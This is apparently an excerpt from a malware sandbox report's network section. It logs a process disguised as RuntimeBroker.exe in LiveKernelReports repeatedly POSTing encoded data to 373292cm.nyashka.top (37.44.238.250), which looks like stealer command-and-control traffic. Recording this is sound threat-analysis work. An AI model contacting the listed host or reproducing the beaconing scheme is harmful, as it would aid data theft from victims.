Jan 11, 2025 06:44:44.386647940 CET	57144	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:44.387265921 CET	80	57145	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:44.387357950 CET	57145	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:44.387500048 CET	57145	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:44.392302036 CET	80	57145	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:44.739110947 CET	57145	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:44.744204044 CET	80	57145	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:44.744223118 CET	80	57145	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:44.744234085 CET	80	57145	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:45.016611099 CET	80	57145	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:45.067115068 CET	57145	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:45.146462917 CET	80	57145	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:45.192126989 CET	57145	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:45.267124891 CET	57145	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:45.267771959 CET	57146	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:45.272273064 CET	80	57145	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:45.272594929 CET	80	57146	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:45.272855997 CET	57145	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:45.272895098 CET	57146	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:45.273010969 CET	57146	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:45.277777910 CET	80	57146	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:45.629918098 CET	57146	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:45.634993076 CET	80	57146	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:45.635020018 CET	80	57146	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:45.635031939 CET	80	57146	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:45.920058012 CET	80	57146	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:45.973401070 CET	57146	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:46.087923050 CET	80	57146	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:46.133572102 CET	57146	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:46.246315002 CET	57146	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:46.248146057 CET	57147	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:46.251588106 CET	80	57146	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:46.251646042 CET	57146	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:46.253045082 CET	80	57147	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:46.253191948 CET	57147	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:46.253304958 CET	57147	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:46.258174896 CET	80	57147	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:46.598686934 CET	57147	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:46.603635073 CET	80	57147	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:46.603648901 CET	80	57147	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:46.603660107 CET	80	57147	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:46.901236057 CET	80	57147	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:46.942133904 CET	57147	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:47.034267902 CET	80	57147	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:47.082794905 CET	57147	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:47.163054943 CET	57147	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:47.164623976 CET	57148	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:47.168180943 CET	80	57147	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:47.168773890 CET	57147	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:47.169445038 CET	80	57148	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:47.169576883 CET	57148	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:47.169780970 CET	57148	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:47.174597025 CET	80	57148	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:47.520479918 CET	57148	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:47.525485992 CET	80	57148	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:47.525501966 CET	80	57148	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:47.525510073 CET	80	57148	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:47.797544956 CET	80	57148	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:47.848354101 CET	57148	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:47.926518917 CET	80	57148	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:47.958532095 CET	57148	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:47.959387064 CET	57149	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:47.963690042 CET	80	57148	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:47.963759899 CET	57148	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:47.964246988 CET	80	57149	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:47.964421034 CET	57149	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:47.964642048 CET	57149	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:47.969436884 CET	80	57149	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:48.053848982 CET	57150	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:48.054104090 CET	57149	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:48.058856010 CET	80	57150	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:48.061692953 CET	57150	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:48.061866999 CET	57150	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:48.066668034 CET	80	57150	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:48.099670887 CET	80	57149	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:48.410943031 CET	57150	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:48.415980101 CET	80	57150	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:48.416017056 CET	80	57150	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:48.416033983 CET	80	57150	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:48.419868946 CET	80	57149	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:48.419935942 CET	57149	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:48.689635992 CET	80	57150	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:48.738974094 CET	57150	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:48.818295002 CET	80	57150	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:48.863970995 CET	57150	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:49.077222109 CET	57150	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:49.078000069 CET	57151	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:49.082321882 CET	80	57150	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:49.082395077 CET	57150	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:49.082789898 CET	80	57151	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:49.082895994 CET	57151	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:49.083321095 CET	57151	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:49.088087082 CET	80	57151	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:49.442249060 CET	57151	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:49.447283030 CET	80	57151	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:49.447304964 CET	80	57151	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:49.447331905 CET	80	57151	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:49.712140083 CET	80	57151	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:49.754605055 CET	57151	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:49.842535973 CET	80	57151	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:49.895211935 CET	57151	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:49.977420092 CET	57151	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:49.978584051 CET	57152	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:49.982553959 CET	80	57151	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:49.982652903 CET	57151	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:49.983383894 CET	80	57152	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:49.983457088 CET	57152	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:49.983584881 CET	57152	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:49.988346100 CET	80	57152	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:50.333131075 CET	57152	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:50.338007927 CET	80	57152	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:50.338021994 CET	80	57152	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:50.338032961 CET	80	57152	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:50.630279064 CET	80	57152	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:50.676476002 CET	57152	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:50.762231112 CET	80	57152	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:50.817107916 CET	57152	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:50.881917000 CET	57153	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:50.886846066 CET	80	57153	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:50.886924982 CET	57153	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:50.887586117 CET	57153	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:50.892394066 CET	80	57153	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:51.239242077 CET	57153	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:51.244151115 CET	80	57153	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:51.244170904 CET	80	57153	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:51.244180918 CET	80	57153	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:51.512744904 CET	80	57153	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:51.567670107 CET	57153	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:51.646188021 CET	80	57153	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:51.692102909 CET	57153	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:51.824816942 CET	57153	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:51.830244064 CET	57154	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:51.831507921 CET	80	57153	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:51.831583977 CET	57153	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:51.836841106 CET	80	57154	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:51.836963892 CET	57154	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:51.837084055 CET	57154	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:51.843595982 CET	80	57154	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:52.192189932 CET	57154	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:52.199126005 CET	80	57154	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:52.199171066 CET	80	57154	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:52.199199915 CET	80	57154	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:52.468055964 CET	80	57154	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:52.520268917 CET	57154	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:52.701010942 CET	80	57154	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:52.701045990 CET	80	57154	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:52.701098919 CET	57154	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:52.834202051 CET	57154	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:52.834933996 CET	57155	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:52.839374065 CET	80	57154	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:52.839554071 CET	57154	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:52.839932919 CET	80	57155	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:52.839993954 CET	57155	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:52.840137005 CET	57155	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:52.844981909 CET	80	57155	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:53.070982933 CET	57155	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:53.071520090 CET	57156	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:53.076493979 CET	80	57156	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:53.076560020 CET	57156	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:53.076770067 CET	57156	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:53.081566095 CET	80	57156	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:53.119714022 CET	80	57155	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:53.191298008 CET	57157	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:53.196357012 CET	80	57157	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:53.196449041 CET	57157	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:53.196543932 CET	57157	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:53.201338053 CET	80	57157	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:53.310178995 CET	80	57155	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:53.310249090 CET	57155	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:53.426698923 CET	57156	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:53.431830883 CET	80	57156	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:53.431864023 CET	80	57156	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:53.552054882 CET	57157	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:53.557271957 CET	80	57157	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:53.557317019 CET	80	57157	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:53.557353020 CET	80	57157	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:53.714298010 CET	80	57156	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:53.757642984 CET	57156	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:53.835568905 CET	80	57157	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:53.848280907 CET	80	57156	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:53.881728888 CET	57157	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:53.895241976 CET	57156	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:53.964438915 CET	80	57157	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:54.004966974 CET	57157	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:54.080357075 CET	57152	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:54.080434084 CET	57156	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:54.080641031 CET	57157	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:54.081747055 CET	57158	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:54.086034060 CET	80	57156	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:54.086051941 CET	80	57157	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:54.086111069 CET	57156	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:54.086113930 CET	57157	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:54.086575985 CET	80	57158	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:54.087214947 CET	57158	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:54.087282896 CET	57158	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:44:54.092116117 CET	80	57158	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:54.735246897 CET	80	57158	37.44.238.250	192.168.2.6
Jan 11, 2025 06:44:54.785866022 CET	57158	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:45:05.548161030 CET	57158	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:45:05.553208113 CET	80	57158	37.44.238.250	192.168.2.6
Jan 11, 2025 06:45:05.553221941 CET	80	57158	37.44.238.250	192.168.2.6
Jan 11, 2025 06:45:05.553232908 CET	80	57158	37.44.238.250	192.168.2.6
Jan 11, 2025 06:45:05.812400103 CET	80	57158	37.44.238.250	192.168.2.6
Jan 11, 2025 06:45:05.812675953 CET	57158	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:45:05.817806005 CET	80	57158	37.44.238.250	192.168.2.6
Jan 11, 2025 06:45:05.817878962 CET	57158	80	192.168.2.6	37.44.238.250

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:43:06.120949984 CET	53	53371	1.1.1.1	192.168.2.6
Jan 11, 2025 06:43:14.664320946 CET	52425	53	192.168.2.6	1.1.1.1
Jan 11, 2025 06:43:14.671338081 CET	53	52425	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:43:14.664320946 CET	192.168.2.6	1.1.1.1	0xb54f	Standard query (0)	373292cm.nyashka.top	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:43:14.676865101 CET	192.168.2.6	1.1.1.1	0x1	Standard query (0)	373292cm.nyashka.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:43:15.187534094 CET	1.1.1.1	192.168.2.6	0x1	No error (0)	373292cm.nyashka.top		37.44.238.250	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

373292cm.nyashka.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	56905	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:15.226346016 CET	280	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:15.583816051 CET	344	OUT	Data Raw: 00 0b 04 05 06 00 01 0b 05 06 02 01 02 0c 01 01 00 06 05 0e 02 05 03 0b 00 05 0e 05 07 0f 06 06 0f 51 05 0f 01 07 03 01 0c 07 05 50 05 51 07 02 07 04 0f 0e 0f 0e 07 01 07 57 03 02 06 04 06 0d 05 07 0d 0d 07 06 07 51 0e 50 0f 03 0e 0c 0c 54 05 07 Data Ascii: QPQWQPT]QS\L}U^y_`baOvfcU\|Rf^`llMh`tx\|{{pu_mx`IpL~O~V@xSb}b}
Jan 11, 2025 06:43:15.863224983 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:15.942276001 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1320 Connection: keep-alive Data Raw: 56 4a 7e 01 78 53 64 5e 7b 4c 60 05 7f 61 7b 06 7d 49 78 53 7c 5e 7d 41 6e 70 73 5c 7d 5c 74 02 63 73 79 40 7a 72 7d 00 76 58 60 48 7d 5b 78 01 55 4b 71 09 74 5c 7f 4b 7f 04 75 04 7f 5e 62 0d 79 66 60 08 7e 73 7f 4a 62 62 5f 06 60 58 6a 59 7e 62 62 02 7f 7f 70 4e 7e 5e 77 06 62 5c 7b 06 7c 5c 5f 47 7c 63 75 01 6c 74 74 4e 6f 59 52 4f 7b 53 74 5a 7a 4c 6c 01 6c 63 7e 05 7d 60 74 44 79 67 60 07 7c 61 7b 05 75 72 70 49 7a 51 41 5b 68 5e 7c 40 7f 71 6e 54 76 52 6b 5f 6f 6c 74 03 77 06 6e 0d 79 62 6d 47 6a 42 54 06 6f 72 66 46 77 63 5e 5a 76 07 64 07 76 71 7a 50 7e 5d 79 5f 77 4c 6d 04 76 66 74 09 7e 6f 75 04 60 6f 6b 5d 7f 05 7c 03 78 6f 73 03 7a 60 66 44 7c 6e 7f 51 77 49 6c 07 7e 62 62 09 69 7d 5a 55 78 53 7d 5d 7e 62 69 03 7b 5d 46 51 6b 52 5d 52 7d 60 56 0b 7d 77 75 5d 6c 6d 7b 49 7b 71 64 00 7e 71 78 5b 7e 49 55 0a 68 4e 5c 55 7b 63 78 07 7d 61 7c 49 63 5a 7d 51 7b 5c 79 06 75 66 56 4b 7e 58 56 06 7e 66 71 0d 76 72 73 06 7f 5c 5b 05 7f 67 6a 0d 7b 58 74 09 7e 73 67 02 76 62 75 02 76 71 69 00 7c 4f [TRUNCATED] Data Ascii: VJ~xSd^{L`a{}IxS\|^}Anps\}\tcsy@zr}vX`H}[xUKqt\Ku^byf`~sJbb_`XjY~bbpN~^wb\{\|\_G\|culttNoYRO{StZzLllc~}`tDyg`\|a{urpIzQA[h^\|@qnTvRk_oltwnybmGjBTorfFwc^ZvdvqzP~]y_wLmvft~ou`ok]\|xosz`fD\|nQwIl~bbi}ZUxS}]~bi{]FQkR]R}`V}wu]lm{I{qd~qx[~IUhN\U{cx}a\|IcZ}Q{\yufVK~XV~fqvrs\[gj{Xt~sgvbuvqi\|Or~\|t@~gDuOY{Ly~`iywtxg^MxSYHybdHzcz}``{gx~\svap\|\|Q}g`\|qaAv\|Zx\|tIt`byqeJ~RfxOfFvsswa^var\|NrtLiBv[`RyLwRp\|]hJxBz`v}`wgR~rvB}SU{mnN}\y}pxAlZNph}YT{CQ{bt~qg}wQ@~`Wys^M}rtFtMqBzO[IuHZ}f\|}vu@wbQ\}\|gzxXZO~ssubaAtOiqbI~BlA~IUuO{rqI}N_{whywpxCQzblHxsPL{]NZxYsY~qx\wa\|}BUYh@}bqAvRwZolUYw^vzqm}BT_z\yvxBagx[L~Jx^bcrT^veoSkRv^wk_\|p\|K{oglNXh}l`g^jaqTzSYQfn^jfbQYwRS{@QlkPWta^o~Zzu{Z\|Xg}Yg~puncx~rtK`]amOj^vcY\|fdfive{WOz[hdNTzoVR`V[[nN]bnJUvzyRRL~wkFua{Jy\}\|gq@^]XT{FRnVAUZ[Toe{^VZb^czpZA[XFWbZW`xK{XPUZ{EQoUA[X@nbP@Q_z\y~boUTobOXL~JxYW[[zF\f]HSTLco]ESwTd^\|^\Z{PNPco@SqOiZMm}Zj\A [TRUNCATED]
Jan 11, 2025 06:43:15.942298889 CET	241	IN	Data Raw: 45 51 71 48 04 68 01 5f 4c 6e 00 77 4e 57 60 07 00 5b 58 54 79 60 62 09 5c 78 5f 5c 58 66 6f 00 49 54 74 64 58 71 73 7c 00 6c 6e 6a 5c 50 4d 7a 45 6c 5a 7b 76 54 64 6f 4c 57 6e 7c 59 7e 5f 42 58 6f 05 61 40 51 73 41 02 6c 01 59 46 6b 04 78 41 5a Data Ascii: EQqHh_LnwNW`[XTy`b\x_\XfoITtdXqs\|lnj\PMzElZ{vTdoLWn\|Y~_BXoa@QsAlYFkxAZ[g@QU`GVvNhraPwQp_y{{_ccNV}b^RoPlD\pZFbbmXqMkgzp_qFq\]TSrF]o]ES[@o`dBQ\|eXhjppZpEy[STQtKQnSFRZDPVS`kjsdQ\|Z~]yzx]laFS}d]Rd^Us\LnoICR[`Xv^yQRm
Jan 11, 2025 06:43:15.979217052 CET	256	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 384 Expect: 100-continue
Jan 11, 2025 06:43:16.179730892 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:16.180250883 CET	384	OUT	Data Raw: 5a 51 5c 51 54 49 54 5c 5b 5f 5a 51 59 5e 58 56 57 58 5d 5f 57 5b 53 5c 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZQ\QTIT\[_ZQY^XVWX]_W[S\\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-;#0"=_#0*)-<>>+47<$ !(Q?)X70\,.&F$.Y/
Jan 11, 2025 06:43:16.440637112 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 26 54 29 1c 2a 5c 27 2b 28 52 30 30 2d 0e 2a 3d 20 07 2b 3d 25 5c 27 16 3e 06 32 3e 0d 0f 33 02 3e 03 29 3d 29 0f 25 3f 2f 13 3a 34 2b 5d 0c 13 21 06 21 2a 04 13 26 3c 28 11 3e 06 2b 17 36 02 36 5c 3c 39 2e 0c 3f 01 02 1d 3c 17 3b 11 28 04 0f 0b 38 06 35 16 39 30 25 0c 23 04 2b 52 0d 11 27 0a 3c 2d 29 1e 2a 3e 3b 15 21 28 30 02 24 2e 2e 50 24 31 3e 10 26 29 3b 05 26 21 36 08 25 21 39 1d 32 5d 3d 00 27 2c 22 0d 23 32 23 54 2c 00 22 57 01 33 55 56 Data Ascii: &T)\'+(R00-= +=%\'>2>3>)=)%?/:4+]!!&<(>+66\<9.?<;(8590%#+R'<-)>;!(0$..P$1>&);&!6%!92]=',"#2#T,"W3UV
Jan 11, 2025 06:43:16.524147034 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 1872 Expect: 100-continue
Jan 11, 2025 06:43:16.713952065 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:16.714138985 CET	1872	OUT	Data Raw: 5f 51 5c 52 51 40 51 5c 5b 5f 5a 51 59 52 58 52 57 5a 5d 5b 57 5b 53 55 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _Q\RQ@Q\[_ZQYRXRWZ][W[SU\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-/# 5>$Y 1[=/<%_(.;Y"/?!"?+*;_#/>&F$.Y/1
